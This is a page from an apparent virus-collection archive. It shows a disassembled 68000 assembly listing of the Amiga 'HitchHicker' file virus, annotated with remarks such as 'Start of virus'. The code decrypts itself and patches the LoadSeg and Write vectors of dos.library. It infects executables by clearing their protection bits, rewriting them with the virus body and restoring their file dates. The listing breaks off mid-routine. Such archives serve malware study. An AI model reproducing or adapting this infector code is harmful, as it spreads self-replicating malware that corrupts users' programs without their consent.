home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusCollectie / h / HitchHicker / cls.infected..decoded.asm < prev    next >
Assembly Source File  |  2006-01-24  |  21KB  |  767 lines
  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. EXT_0001    EQU    $DFF007
  6.  
  7.  
  8.  
  9.  
  10.     SECTION S_0,CODE
  11.  
  12. SECSTRT_0:
  13.     BSR    LAB_0005        ;000: 6100004A
  14.     LEA    LAB_0003(PC),A1        ;004: 43FA0034
  15.     MOVE.L    #$0000001F,D0        ;008: 203C0000001F
  16.     JSR    -552(A6)        ;00E: 4EAEFDD8
  17.     MOVEA.L    D0,A6            ;012: 2C40
  18.     BEQ.S    LAB_0002        ;014: 6720
  19.     JSR    -60(A6)            ;016: 4EAEFFC4
  20.     MOVE.L    D0,D1            ;01A: 2200
  21.     LEA    LAB_0004(PC),A0        ;01C: 41FA0028
  22.     MOVE.L    A0,D2            ;020: 2408
  23.     MOVEQ    #4,D3            ;022: 7604
  24.     JSR    -48(A6)            ;024: 4EAEFFD0
  25.     TST.L    D0            ;028: 4A80
  26.     BMI.S    LAB_0001        ;02A: 6B04
  27.     MOVEQ    #0,D0            ;02C: 7000
  28. LAB_0000:
  29.     BRA.S    LAB_0006        ;02E: 602C
  30. LAB_0001:
  31.     JSR    -132(A6)        ;030: 4EAEFF7C
  32.     BRA.S    LAB_0000        ;034: 60F8
  33. LAB_0002:
  34.     MOVEQ    #20,D0            ;036: 7014
  35.     BRA.S    LAB_0006        ;038: 6022
  36. LAB_0003:
  37.     DC.W    $646F            ;03A
  38.     DC.W    $732E            ;03C
  39.     DC.W    $6C69            ;03E
  40.     BHI.S    LAB_000E        ;040: 6272
  41.     BSR.S    LAB_000E+2        ;042: 6172
  42.     DC.W    $7900            ;044
  43. LAB_0004:
  44.     SUBX    -(A0),-(A5)        ;046: 9B48
  45.     SUBX    -(A2),-(A5)        ;048: 9B4A
  46.     DC.W    $0000            ;04A
  47. LAB_0005:
  48.     MOVE.L    (ABSEXECBASE).W,-(A7)    ;04C: 2F380004
  49.     MOVEA.L    (A7)+,A6        ;050: 2C5F
  50.     CMPI    #$0025,20(A6)        ;052: 0C6E00250014
  51.     BCC.S    LAB_0006        ;058: 6402
  52.     RTS                ;05A: 4E75
  53. LAB_0006:
  54.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;05C: 48E7FFFE
  55.     MOVEA.L    (ABSEXECBASE).W,A1    ;060: 22780004
  56.     MOVEA.L    A1,A6            ;064: 2C49
  57.     CMPI    #$0025,20(A6)        ;066: 0C6E00250014
  58.     BCS.S    LAB_000C        ;06C: 651A
  59. LAB_0007:
  60.     MOVEQ    #41,D0            ;06E: 7029
  61. LAB_0009:
  62.     MOVE    #$06F5,D1        ;070: 323C06F5
  63. LAB_000A:
  64.     MOVEQ    #1,D2            ;074: 7401
  65.     LEA    LAB_000D(PC),A1        ;076: 43FA0016
  66. LAB_000B:
  67.     EOR.B    D0,(A1)+        ;07A: B119
  68.     SUB.B    D2,D0            ;07C: 9002
  69.     DBF    D1,LAB_000B        ;07E: 51C9FFFA
  70.     JSR    -636(A6)        ;082: 4EAEFD84
  71.     BRA.S    LAB_000D        ;086: 6006
  72. LAB_000C:
  73.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;088: 4CDF7FFF
  74.     RTS                ;08C: 4E75
  75. LAB_000D:
  76.     CMPI.L    #$ABBAFAB4,514(A6)    ;08E: 0CAEABBAFAB40202
  77.     BEQ.S    LAB_0011        ;096: 673A
  78.     CMPI.L    #$BADC0DED,514(A6)    ;098: 0CAEBADC0DED0202
  79.     BEQ.S    LAB_0011        ;0A0: 6730
  80.     MOVE.L    #$00001388,D0        ;0A2: 203C00001388
  81.     MOVEQ    #2,D1            ;0A8: 7202
  82.     JSR    -198(A6)        ;0AA: 4EAEFF3A        AllocMem
  83.     TST.L    D0            ;0AE: 4A80
  84.     BEQ.S    LAB_0011        ;0B0: 6720
  85.     MOVEA.L    D0,A2            ;0B2: 2440
  86. LAB_000E:
  87.     LEA    LAB_0005(PC),A1        ;0B4: 43FAFF96        Start of virus
  88.     MOVE    #$01F4,D1        ;0B8: 323C01F4
  89. LAB_0010:
  90.     MOVE.L    (A1)+,(A2)+        ;0BC: 24D9
  91.     DBF    D1,LAB_0010        ;0BE: 51C9FFFC
  92.     MOVEA.L    D0,A0            ;0C2: 2040
  93.     LEA    LAB_0012(PC),A1        ;0C4: 43FA0024
  94.     LEA    LAB_0005(PC),A2        ;0C8: 45FAFF82
  95.     SUBA.L    A2,A1            ;0CC: 93CA
  96.     ADDA.L    A0,A1            ;0CE: D3C8
  97.     JSR    (A1)            ;0D0: 4E91
  98. LAB_0011:
  99.     LEA    LAB_0007(PC),A1        ;0D2: 43FAFF9A
  100.     MOVE.B    #$00,1(A1)        ;0D6: 137C00000001
  101.     MOVE    #$0000,4(A1)        ;0DC: 337C00000004
  102.     MOVE.B    #$00,7(A1)        ;0E2: 137C00000007
  103.     BRA.S    LAB_000C        ;0E8: 609E
  104. LAB_0012:
  105.     LEA    LAB_0063(PC),A4        ;0EA: 49FA0684
  106.     CLR.L    (A4)+            ;0EE: 429C
  107.     CLR    (A4)            ;0F0: 4254
  108.     LEA    LAB_0057(PC),A2        ;0F2: 45FA0620
  109.     BSR.S    LAB_0015        ;0F6: 6128
  110.     BSR    LAB_0052        ;0F8: 61000590
  111.     BSR.S    LAB_0013        ;0FC: 6102
  112.     RTS                ;0FE: 4E75
  113. LAB_0013:
  114.     LEA    LAB_0056(PC),A1        ;100: 43FA05E8
  115.     MOVEA.L    (ABSEXECBASE).W,A6    ;104: 2C780004
  116.     MOVEA.L    378(A6),A0        ;108: 206E017A        liblist
  117.     JSR    -276(A6)        ;10C: 4EAEFEEC        findname
  118.     TST.L    D0            ;110: 4A80
  119.     BEQ.S    LAB_0014        ;112: 670A
  120.     LEA    LAB_0058(PC),A1        ;114: 43FA0636
  121.     MOVE.L    D0,(A1)            ;118: 2280
  122.     MOVEA.L    D0,A1            ;11A: 2240
  123.     BSR.S    LAB_0018        ;11C: 611E
  124. LAB_0014:
  125.     RTS                ;11E: 4E75
  126. LAB_0015:
  127.     MOVEQ    #7,D0            ;120: 7007
  128. LAB_0016:
  129.     CMPI.B    #$39,0(A2,D0.L)        ;122: 0C3200390800
  130.     BEQ.S    LAB_0017        ;128: 6706
  131.     ADDQ.B    #1,0(A2,D0.L)        ;12A: 52320800
  132.     RTS                ;12E: 4E75
  133. LAB_0017:
  134.     MOVE.B    #$30,0(A2,D0.L)        ;130: 15BC00300800
  135.     DBF    D0,LAB_0016        ;136: 51C8FFEA
  136.     RTS                ;13A: 4E75
  137. LAB_0018:
  138.     CMPI    #$4EF9,-150(A1)        ;13C: 0C694EF9FF6A
  139.     BNE.S    LAB_0019        ;142: 6610
  140.     LEA    LAB_003C(PC),A3        ;144: 47FA03F4
  141.     LEA    LAB_0059(PC),A2        ;148: 45FA0606
  142.     MOVE.L    -148(A1),(A2)        ;14C: 24A9FF6C        copy original loadseg to lab_0059
  143.     MOVE.L    A3,-148(A1)        ;150: 234BFF6C
  144. LAB_0019:
  145.     CMPI    #$4EF9,-48(A1)        ;154: 0C694EF9FFD0
  146.     BNE.S    LAB_001A        ;15A: 6610
  147.     LEA    LAB_003D(PC),A3        ;15C: 47FA03EA
  148.     LEA    LAB_005A(PC),A2        ;160: 45FA05F2
  149.     MOVE.L    -46(A1),(A2)        ;164: 24A9FFD2        write() to lab_005a
  150.     MOVE.L    A3,-46(A1)        ;168: 234BFFD2
  151. LAB_001A:
  152.     BSR.S    LAB_001B        ;16C: 610A
  153.     MOVE.L    #$BADC0DED,514(A6)    ;16E: 2D7CBADC0DED0202        lastalert
  154.     RTS                ;176: 4E75
  155. LAB_001B:
  156.     CLR.L    D0            ;178: 4280
  157.     MOVEA.L    A1,A0            ;17A: 2049
  158.     MOVE    16(A0),D0        ;17C: 30280010
  159.     LSR    #1,D0            ;180: E248
  160.     MOVEQ    #0,D1            ;182: 7200
  161.     BRA.S    LAB_001D        ;184: 6002
  162. LAB_001C:
  163.     ADD    -(A0),D1        ;186: D260
  164. LAB_001D:
  165.     DBF    D0,LAB_001C        ;188: 51C8FFFC
  166.     MOVE    D1,28(A1)        ;18C: 3341001C
  167.     RTS                ;190: 4E75
  168. LAB_001E:
  169.     MOVEA.L    LAB_0058(PC),A6        ;192: 2C7A05B8
  170.     MOVEA.L    D1,A1            ;196: 2241
  171.     LEA    LAB_005B(PC),A1        ;198: 43FA05BE
  172.     MOVE.L    D1,(A1)            ;19C: 2281
  173.     MOVEQ    #-2,D2            ;19E: 74FE
  174.     JSR    -84(A6)            ;1A0: 4EAEFFAC        Lock
  175.     TST.L    D0            ;1A4: 4A80
  176.     BEQ    LAB_0023        ;1A6: 6700012E
  177.     MOVE.L    D0,D1            ;1AA: 2200
  178.     LEA    LAB_005E(PC),A1        ;1AC: 43FA05B6
  179.     MOVE.L    D1,(A1)            ;1B0: 2281
  180.     MOVE.L    LAB_005C(PC),D2        ;1B2: 243A05A8
  181.     JSR    -114(A6)        ;1B6: 4EAEFF8E        info
  182.     TST.L    D0            ;1BA: 4A80
  183.     BEQ    LAB_0023        ;1BC: 67000118
  184.     MOVEA.L    LAB_005C(PC),A1        ;1C0: 227A059A
  185.     CMPI.L    #$00000052,8(A1)    ;1C4: 0CA9000000520008
  186.     BNE    LAB_0023        ;1CC: 66000108
  187.     MOVE.L    12(A1),D0        ;1D0: 2029000C
  188.     SUB.L    16(A1),D0        ;1D4: 90A90010
  189.     CMP.L    #$0000000A,D0        ;1D8: B0BC0000000A
  190.     BCS    LAB_0023        ;1DE: 650000F6
  191.     MOVE.L    12(A1),-(A7)        ;1E2: 2F29000C
  192.     MOVE.L    LAB_005E(PC),D1        ;1E6: 223A057C
  193.     MOVE.L    A1,D2            ;1EA: 2409
  194.     JSR    -102(A6)        ;1EC: 4EAEFF9A        Examine
  195.     MOVEA.L    LAB_005C(PC),A1        ;1F0: 227A056A
  196.     MOVE.L    (A7)+,D1        ;1F4: 221F
  197.     CMP.L    #$00001F40,D1        ;1F6: B2BC00001F40
  198.     BCC.S    LAB_001F        ;1FC: 640E
  199.     CMPI.L    #$00008000,124(A1)    ;1FE: 0CA900008000007C
  200.     BCC    LAB_0023        ;206: 640000CE
  201.     BRA.S    LAB_0020        ;20A: 600C
  202. LAB_001F:
  203.     CMPI.L    #$00020000,124(A1)    ;20C: 0CA900020000007C
  204.     BCC    LAB_0023        ;214: 640000C0
  205. LAB_0020:
  206.     LEA    LAB_0061(PC),A2        ;218: 45FA0552
  207.     MOVE.L    124(A1),(A2)        ;21C: 24A9007C
  208.     MOVE.L    LAB_005E(PC),D1        ;220: 223A0542
  209.     JSR    -90(A6)            ;224: 4EAEFFA6        UnLock
  210.     MOVE.L    LAB_005B(PC),D1        ;228: 223A052E
  211.     CLR.L    D2            ;22C: 4282
  212.     JSR    -186(A6)        ;22E: 4EAEFF46        SetProtection
  213.     MOVEA.L    (ABSEXECBASE).W,A6    ;232: 2C780004
  214.     MOVEQ    #1,D1            ;236: 7201
  215.     MOVE.L    LAB_0061(PC),D0        ;238: 203A0532
  216.     MOVE.L    LAB_005D(PC),D2        ;23C: 243A0522        ;copied to here <------!!!!!!!!!!!!!!!!!!!!!!
  217.     ADD.L    D2,D0            ;240: D082
  218.     JSR    -198(A6)        ;242: 4EAEFF3A
  219.     TST.L    D0            ;246: 4A80
  220.     BEQ    LAB_0023        ;248: 6700008C
  221.     LEA    LAB_0060(PC),A1        ;24C: 43FA051A
  222.     MOVE.L    D0,(A1)            ;250: 2280
  223.     MOVE.L    #$000003EC,D2        ;252: 243C000003EC
  224.     MOVE.L    LAB_005B(PC),D1        ;258: 223A04FE
  225.     MOVEA.L    LAB_0058(PC),A6        ;25C: 2C7A04EE
  226.     JSR    -30(A6)            ;260: 4EAEFFE2        Open
  227.     TST.L    D0            ;264: 4A80
  228.     BEQ.S    LAB_0022        ;266: 675E
  229.     LEA    LAB_005E(PC),A1        ;268: 43FA04FA
  230.     MOVE.L    D0,(A1)            ;26C: 2280
  231.     MOVE.L    D0,D1            ;26E: 2200
  232.     MOVE.L    LAB_0060(PC),D2        ;270: 243A04F6
  233.     MOVE.L    LAB_005D(PC),D4        ;274: 283A04EA
  234.     ADD.L    D4,D2            ;278: D484
  235.     MOVE.L    LAB_0061(PC),D3        ;27A: 263A04F0
  236.     JSR    -42(A6)            ;27E: 4EAEFFD6        Read
  237.     MOVE.L    LAB_005E(PC),D1        ;282: 223A04E0
  238.     MOVEQ    #0,D2            ;286: 7400
  239.     MOVEQ    #-1,D3            ;288: 76FF
  240.     JSR    -66(A6)            ;28A: 4EAEFFBE        Seek
  241.     BSR.S    LAB_0025        ;28E: 6152
  242.     BNE.S    LAB_0021        ;290: 6616
  243.     MOVE.L    LAB_005E(PC),D1        ;292: 223A04D0
  244.     MOVE.L    LAB_0060(PC),D2        ;296: 243A04D0
  245.     MOVE.L    LAB_0061(PC),D3        ;29A: 263A04D0
  246.     MOVE.L    LAB_005D(PC),D4        ;29E: 283A04C0
  247.     ADD.L    D4,D3            ;2A2: D684
  248.     BSR    LAB_003B        ;2A4: 6100028E
  249. LAB_0021:
  250.     MOVE.L    LAB_005E(PC),D1        ;2A8: 223A04BA
  251.     JSR    -36(A6)            ;2AC: 4EAEFFDC        Close
  252.     BSR.S    LAB_0024        ;2B0: 6126
  253.     MOVE.L    116(A1),D2        ;2B2: 24290074
  254.     JSR    -186(A6)        ;2B6: 4EAEFF46        SetProtection
  255.     BSR.S    LAB_0024        ;2BA: 611C
  256.     LEA    132(A1),A1        ;2BC: 43E90084
  257.     MOVE.L    A1,D2            ;2C0: 2409
  258.     JSR    -396(A6)        ;2C2: 4EAEFE74        SetFileDate
  259. LAB_0022:
  260.     MOVEA.L    (ABSEXECBASE).W,A6    ;2C6: 2C780004
  261.     MOVE.L    LAB_0061(PC),D0        ;2CA: 203A04A0
  262.     MOVEA.L    LAB_0060(PC),A1        ;2CE: 227A0498
  263.     JSR    -210(A6)        ;2D2: 4EAEFF2E
  264. LAB_0023:
  265.     RTS                ;2D6: 4E75
  266. LAB_0024:
  267.     MOVEA.L    LAB_005C(PC),A1        ;2D8: 227A0482
  268.     MOVE.L    LAB_005B(PC),D1        ;2DC: 223A047A
  269.     RTS                ;2E0: 4E75
  270. LAB_0025:
  271.     MOVEA.L    LAB_0060(PC),A1        ;2E2: 227A0484
  272.     MOVEA.L    A1,A2            ;2E6: 2449
  273.     MOVE.L    LAB_005D(PC),D1        ;2E8: 223A0476
  274.     ADDA.L    D1,A2            ;2EC: D5C1
  275.     MOVE.L    8(A2),D1        ;2EE: 222A0008
  276.     ADDQ.L    #1,D1            ;2F2: 5281
  277.     MOVEQ    #4,D2            ;2F4: 7404
  278. LAB_0026:
  279.     MOVE.L    (A2)+,(A1)+        ;2F6: 22DA
  280.     DBF    D2,LAB_0026        ;2F8: 51CAFFFC
  281. LAB_0027:
  282.     MOVE.L    (A2)+,(A1)+        ;2FC: 22DA
  283.     DBF    D1,LAB_0027        ;2FE: 51C9FFFC
  284.     CMPI.L    #$000003E9,-8(A1)    ;302: 0CA9000003E9FFF8
  285.     BEQ.S    LAB_0028        ;30A: 6704
  286.     MOVEQ    #-1,D0            ;30C: 70FF
  287.     RTS                ;30E: 4E75
  288. LAB_0028:
  289.     MOVE.L    -4(A1),D1        ;310: 2229FFFC
  290.     MOVE.L    A1,D6            ;314: 2C09
  291.     MOVE.L    D1,D3            ;316: 2601
  292.     SUBQ.L    #1,D1            ;318: 5381
  293. LAB_0029:
  294.     MOVE.L    (A2)+,(A1)+        ;31A: 22DA
  295.     DBF    D1,LAB_0029        ;31C: 51C9FFFC
  296.     MOVE.L    LAB_005D(PC),D1        ;320: 223A043E
  297.     LSR    #2,D1            ;324: E449
  298.     MOVE.L    D1,D2            ;326: 2401
  299.     SUBQ.L    #1,D1            ;328: 5381
  300.     LEA    LAB_0069(PC),A3        ;32A: 47FA0458
  301.     MOVE.L    A1,D4            ;32E: 2809
  302. LAB_002A:
  303.     MOVE.L    (A3)+,(A1)+        ;330: 22DB
  304.     DBF    D1,LAB_002A        ;332: 51C9FFFC
  305.     MOVEA.L    D6,A1            ;336: 2246
  306.     MOVEA.L    LAB_0060(PC),A2        ;338: 247A042E
  307.     LEA    20(A2),A2        ;33C: 45EA0014
  308.     BSR    LAB_004C        ;340: 6100030C
  309.     MOVEA.L    A1,A4            ;344: 2849
  310.     MOVE.L    D4,D7            ;346: 2E04
  311.     ASL.L    #1,D3            ;348: E383
  312.     BRA    LAB_0043        ;34A: 60000280
  313. LAB_002B:
  314.     MOVEM.L    D1-D7/A0-A6,-(A7)    ;34E: 48E77FFE
  315.     LEA    LAB_005E(PC),A3        ;352: 47FA0410
  316.     MOVE.L    D1,(A3)            ;356: 2681
  317.     MOVE.L    D3,8(A3)        ;358: 27430008
  318.     MOVEA.L    D2,A1            ;35C: 2242
  319.     MOVEA.L    A1,A2            ;35E: 2449
  320.     MOVE.L    LAB_0063(PC),D4        ;360: 283A040E
  321.     BNE    LAB_0036        ;364: 66000114
  322.     CMPI.L    #$000003F3,(A1)        ;368: 0C91000003F3
  323.     BNE.S    LAB_002D        ;36E: 6666
  324.     MOVE.L    8(A1),D4        ;370: 28290008
  325.     MOVE.L    D4,D5            ;374: 2A04
  326.     ADDQ.L    #5,D4            ;376: 5A84
  327.     ADDQ.L    #7,D5            ;378: 5E85
  328.     ASL.L    #2,D5            ;37A: E585
  329.     LEA    LAB_0068(PC),A3        ;37C: 47FA0402
  330.     MOVE.L    D5,(A3)            ;380: 2685
  331.     ASL.L    #2,D4            ;382: E584
  332.     ADDA.L    D4,A1            ;384: D3C4
  333.     CMPI.L    #$000003E9,(A1)        ;386: 0C91000003E9
  334.     BNE.S    LAB_002D        ;38C: 6648
  335.     MOVE.L    4(A1),D4        ;38E: 28290004
  336.     ASL.L    #2,D4            ;392: E584
  337.     ADD.L    D5,D4            ;394: D885
  338.     LEA    LAB_0067(PC),A3        ;396: 47FA03E4
  339.     CLR.L    (A3)            ;39A: 4293
  340.     LEA    LAB_0066(PC),A3        ;39C: 47FA03DA
  341.     MOVE.L    D4,(A3)            ;3A0: 2684
  342.     BSR.S    LAB_0031        ;3A2: 617A
  343.     TST.L    D0            ;3A4: 4A80
  344.     BEQ.S    LAB_002D        ;3A6: 672E
  345.     MOVE.L    LAB_0060(PC),D2        ;3A8: 243A03BE
  346.     SUBA.L    A2,A1            ;3AC: 93CA
  347.     MOVEA.L    D2,A2            ;3AE: 2442
  348.     ADDA.L    A2,A1            ;3B0: D3CA
  349.     CMP.L    D4,D3            ;3B2: B684
  350.     BCS.S    LAB_002F        ;3B4: 6544
  351.     MOVE.L    D4,D3            ;3B6: 2604
  352.     MOVEM.L    D1-D7,-(A7)        ;3B8: 48E77F00
  353.     BSR    LAB_0041        ;3BC: 610001FC
  354.     BEQ.S    LAB_002E        ;3C0: 671C
  355.     MOVEM.L    (A7)+,D1-D7        ;3C2: 4CDF00FE
  356. LAB_002C:
  357.     MOVEM.L    (A7)+,D1-D7/A0-A6    ;3C6: 4CDF7FFE
  358.     BSR    LAB_003B        ;3CA: 61000168
  359.     BSR    LAB_0035        ;3CE: 61000094
  360.     MOVE.L    D3,D0            ;3D2: 2003
  361.     RTS                ;3D4: 4E75
  362. LAB_002D:
  363.     MOVEM.L    (A7)+,D1-D7/A0-A6    ;3D6: 4CDF7FFE
  364.     BRA    LAB_003B        ;3DA: 60000158
  365. LAB_002E:
  366.     ADDQ.L    #8,A1            ;3DE: 5089
  367.     LEA    20(A2),A2        ;3E0: 45EA0014
  368.     BSR    LAB_004C        ;3E4: 61000268
  369.     MOVEM.L    (A7)+,D1-D7        ;3E8: 4CDF00FE
  370.     BSR    LAB_003F        ;3EC: 61000176
  371.     BSR.S    LAB_0035        ;3F0: 6172
  372.     MOVEM.L    (A7)+,D1-D7/A0-A6    ;3F2: 4CDF7FFE
  373.     MOVE.L    D3,D0            ;3F6: 2003
  374.     RTS                ;3F8: 4E75
  375. LAB_002F:
  376.     CMP.L    D3,D5            ;3FA: BA83
  377.     BCC.S    LAB_002C        ;3FC: 64C8
  378.     LSR.L    #2,D5            ;3FE: E48D
  379.     SUBQ.L    #1,D5            ;400: 5385
  380.     CMP.L    #$0000012C,D5        ;402: BABC0000012C
  381.     BCC.S    LAB_002C        ;408: 64BC
  382.     LEA    LAB_0063(PC),A3        ;40A: 47FA0364
  383.     MOVE.L    D1,(A3)            ;40E: 2681
  384.     MOVEA.L    LAB_005C(PC),A3        ;410: 267A034A
  385.     MOVEA.L    D2,A4            ;414: 2842
  386. LAB_0030:
  387.     MOVE.L    (A4)+,(A3)+        ;416: 26DC
  388.     DBF    D5,LAB_0030        ;418: 51CDFFFC
  389.     BRA.S    LAB_0038        ;41C: 607E
  390. LAB_0031:
  391.     MOVEM.L    D1-D7/A0-A6,-(A7)    ;41E: 48E77FFE
  392.     MOVEA.L    (ABSEXECBASE).W,A6    ;422: 2C780004
  393.     MOVE.L    D3,D0            ;426: 2003
  394.     MOVEQ    #1,D1            ;428: 7201
  395.     JSR    -198(A6)        ;42A: 4EAEFF3A
  396.     TST.L    D0            ;42E: 4A80
  397.     BEQ.S    LAB_0034        ;430: 672C
  398.     MOVEM.L    (A7),D1-D7/A0-A6    ;432: 4CD77FFE
  399.     LEA    LAB_0064+2(PC),A3    ;436: 47FA033E
  400.     CLR    (A3)            ;43A: 4253
  401.     MOVE.L    LAB_0067(PC),D4        ;43C: 283A033E
  402.     LSR.L    #1,D4            ;440: E28C
  403.     BCC.S    LAB_0032        ;442: 6406
  404.     ADDQ    #1,D0            ;444: 5240
  405.     MOVE    #$FFFF,(A3)        ;446: 36BCFFFF
  406. LAB_0032:
  407.     LEA    LAB_0060(PC),A3        ;44A: 47FA031C
  408.     MOVE.L    D0,(A3)+        ;44E: 26C0
  409.     MOVE.L    D3,(A3)            ;450: 2683
  410.     MOVEA.L    D0,A3            ;452: 2640
  411.     MOVEA.L    D2,A4            ;454: 2842
  412.     SUBQ.L    #1,D3            ;456: 5383
  413. LAB_0033:
  414.     MOVE.B    (A4)+,(A3)+        ;458: 16DC
  415.     DBF    D3,LAB_0033        ;45A: 51CBFFFC
  416. LAB_0034:
  417.     MOVEM.L    (A7)+,D1-D7/A0-A6    ;45E: 4CDF7FFE
  418.     RTS                ;462: 4E75
  419. LAB_0035:
  420.     MOVE.L    A6,-(A7)        ;464: 2F0E
  421.     MOVEA.L    (ABSEXECBASE).W,A6    ;466: 2C780004
  422.     MOVEA.L    LAB_0060(PC),A1        ;46A: 227A02FC
  423.     MOVE.L    LAB_0061(PC),D0        ;46E: 203A02FC
  424.     JSR    -210(A6)        ;472: 4EAEFF2E
  425.     MOVEA.L    (A7)+,A6        ;476: 2C5F
  426.     RTS                ;478: 4E75
  427. LAB_0036:
  428.     CMP.L    D1,D4            ;47A: B881
  429.     BNE    LAB_002D        ;47C: 6600FF58
  430.     BSR.S    LAB_0031        ;480: 619C
  431.     TST.L    D0            ;482: 4A80
  432.     BNE.S    LAB_0038        ;484: 6616
  433.     MOVE    LAB_0064(PC),D0        ;486: 303A02EC
  434.     BNE.S    LAB_0037        ;48A: 660A
  435.     LEA    LAB_0063(PC),A3        ;48C: 47FA02E2
  436.     CLR.L    (A3)            ;490: 4293
  437.     BRA    LAB_002D        ;492: 6000FF42
  438. LAB_0037:
  439.     LEA    LAB_0060(PC),A3        ;496: 47FA02D0
  440.     MOVE.L    D2,(A3)            ;49A: 2682
  441. LAB_0038:
  442.     MOVE.L    LAB_0060(PC),D2        ;49C: 243A02CA
  443.     LEA    LAB_0067(PC),A3        ;4A0: 47FA02DA
  444.     MOVE.L    (A3),D4            ;4A4: 2813
  445.     ADD.L    D3,D4            ;4A6: D883
  446.     MOVE.L    D4,(A3)            ;4A8: 2684
  447.     MOVE.L    LAB_0066(PC),D5        ;4AA: 2A3A02CC
  448.     CMP.L    D5,D4            ;4AE: B885
  449.     BCS    LAB_0040        ;4B0: 650000D0
  450.     LEA    LAB_0063(PC),A3        ;4B4: 47FA02BA
  451.     CLR.L    (A3)            ;4B8: 4293
  452.     SUB.L    D5,D4            ;4BA: 9885
  453.     SUB.L    D4,D3            ;4BC: 9684
  454.     LEA    LAB_0066(PC),A3        ;4BE: 47FA02B8
  455.     MOVE.L    D3,(A3)            ;4C2: 2683
  456.     MOVE.L    D2,D7            ;4C4: 2E02
  457.     ADD.L    D3,D7            ;4C6: DE83
  458.     MOVEA.L    D2,A4            ;4C8: 2842
  459.     BSR    LAB_0042        ;4CA: 610000FE
  460.     TST.L    D0            ;4CE: 4A80
  461.     BEQ.S    LAB_0039        ;4D0: 670A
  462.     MOVE    LAB_0064(PC),D0        ;4D2: 303A02A0
  463.     BNE.S    LAB_0039        ;4D6: 6604
  464.     BRA    LAB_002C        ;4D8: 6000FEEC
  465. LAB_0039:
  466.     LEA    LAB_0064(PC),A3        ;4DC: 47FA0296
  467.     CLR    (A3)            ;4E0: 4253
  468.     MOVE.L    LAB_0066(PC),D3        ;4E2: 263A0294
  469.     BSR.S    LAB_003F        ;4E6: 617C
  470.     BSR.S    LAB_003E        ;4E8: 616C
  471.     MOVEA.L    LAB_0058(PC),A6        ;4EA: 2C7A0260
  472.     CLR.L    D2            ;4EE: 4282
  473.     MOVEQ    #-1,D3            ;4F0: 76FF
  474.     JSR    -66(A6)            ;4F2: 4EAEFFBE
  475.     LEA    LAB_0066(PC),A3        ;4F6: 47FA0280
  476.     MOVE.L    D0,(A3)            ;4FA: 2680
  477.     BSR.S    LAB_003E        ;4FC: 6158
  478.     MOVEA.L    LAB_005C(PC),A2        ;4FE: 247A025C
  479.     MOVEA.L    A2,A1            ;502: 224A
  480.     MOVE.L    A2,D2            ;504: 240A
  481.     LEA    20(A2),A2        ;506: 45EA0014
  482.     MOVE.L    LAB_0068(PC),D3        ;50A: 263A0274
  483.     ADDA.L    D3,A1            ;50E: D3C3
  484.     BSR    LAB_004C        ;510: 6100013C
  485.     BSR.S    LAB_003B        ;514: 611E
  486.     BSR.S    LAB_003E        ;516: 613E
  487.     MOVE.L    LAB_0066(PC),D2        ;518: 243A025E
  488.     MOVEQ    #-1,D3            ;51C: 76FF
  489.     JSR    -66(A6)            ;51E: 4EAEFFBE
  490.     BSR    LAB_0035        ;522: 6100FF40
  491.     MOVEM.L    (A7)+,D1-D7/A0-A6    ;526: 4CDF7FFE
  492.     MOVE.L    D3,D0            ;52A: 2003
  493.     RTS                ;52C: 4E75
  494. LAB_003A:
  495.     MOVE.L    LAB_0059(PC),-(A7)    ;52E: 2F3A0220
  496.     RTS                ;532: 4E75
  497. LAB_003B:
  498.     MOVE.L    LAB_005A(PC),-(A7)    ;534: 2F3A021E
  499.     RTS                ;538: 4E75
  500. LAB_003C:
  501.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;53A: 48E7FFFE        put in memory at LoadSeg
  502.     BSR    LAB_001E        ;53E: 6100FC52
  503.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;542: 4CDF7FFF
  504.     BRA.S    LAB_003A        ;546: 60E6
  505. LAB_003D:
  506.     MOVEM.L    D1-D7/A0-A6,-(A7)    ;548: 48E77FFE
  507.     BSR    LAB_002B        ;54C: 6100FE00
  508.     MOVEM.L    (A7)+,D1-D7/A0-A6    ;550: 4CDF7FFE
  509.     RTS                ;554: 4E75
  510. LAB_003E:
  511.     MOVE.L    LAB_005E(PC),D1        ;556: 223A020C
  512.     MOVE.L    LAB_0060(PC),D2        ;55A: 243A020C
  513.     MOVE.L    LAB_0061(PC),D3        ;55E: 263A020C
  514.     RTS                ;562: 4E75
  515. LAB_003F:
  516.     BSR.S    LAB_003B        ;564: 61CE
  517.     BSR.S    LAB_003E        ;566: 61EE
  518.     LEA    LAB_0069(PC),A3        ;568: 47FA021A
  519.     MOVE.L    A3,D2            ;56C: 240B
  520.     MOVE.L    LAB_005D(PC),D3        ;56E: 263A01F0
  521.     BSR.S    LAB_003B        ;572: 61C0
  522.     BSR.S    LAB_003E        ;574: 61E0
  523.     MOVE.L    LAB_0066(PC),D4        ;576: 283A0200
  524.     ADD.L    D4,D2            ;57A: D484
  525.     SUB.L    D4,D3            ;57C: 9684
  526.     BSR.S    LAB_003B        ;57E: 61B4
  527.     RTS                ;580: 4E75
  528. LAB_0040:
  529.     MOVE.L    D5,D7            ;582: 2E05
  530.     SUB.L    D4,D7            ;584: 9E84
  531.     CMP.L    #$00007FFF,D7        ;586: BEBC00007FFF
  532.     BCC    LAB_002C        ;58C: 6400FE38
  533.     MOVE.L    D2,D7            ;590: 2E02
  534.     ADD.L    D5,D7            ;592: DE85
  535.     ADD.L    D3,D7            ;594: DE83
  536.     SUB.L    D4,D7            ;596: 9E84
  537.     MOVEA.L    D2,A4            ;598: 2842
  538.     BSR.S    LAB_0042        ;59A: 612E
  539.     BNE    LAB_002C        ;59C: 6600FE28
  540.     LEA    LAB_0064(PC),A3        ;5A0: 47FA01D2
  541.     MOVE    #$FFFF,(A3)        ;5A4: 36BCFFFF
  542.     MOVEM.L    (A7)+,D1-D7/A0-A6    ;5A8: 4CDF7FFE
  543.     MOVE.L    LAB_0060(PC),D2        ;5AC: 243A01BA
  544.     BSR.S    LAB_003B        ;5B0: 6182
  545.     BSR    LAB_0035        ;5B2: 6100FEB0
  546.     MOVE.L    D3,D0            ;5B6: 2003
  547.     RTS                ;5B8: 4E75
  548. LAB_0041:
  549.     MOVE.L    LAB_0066(PC),D4        ;5BA: 283A01BC
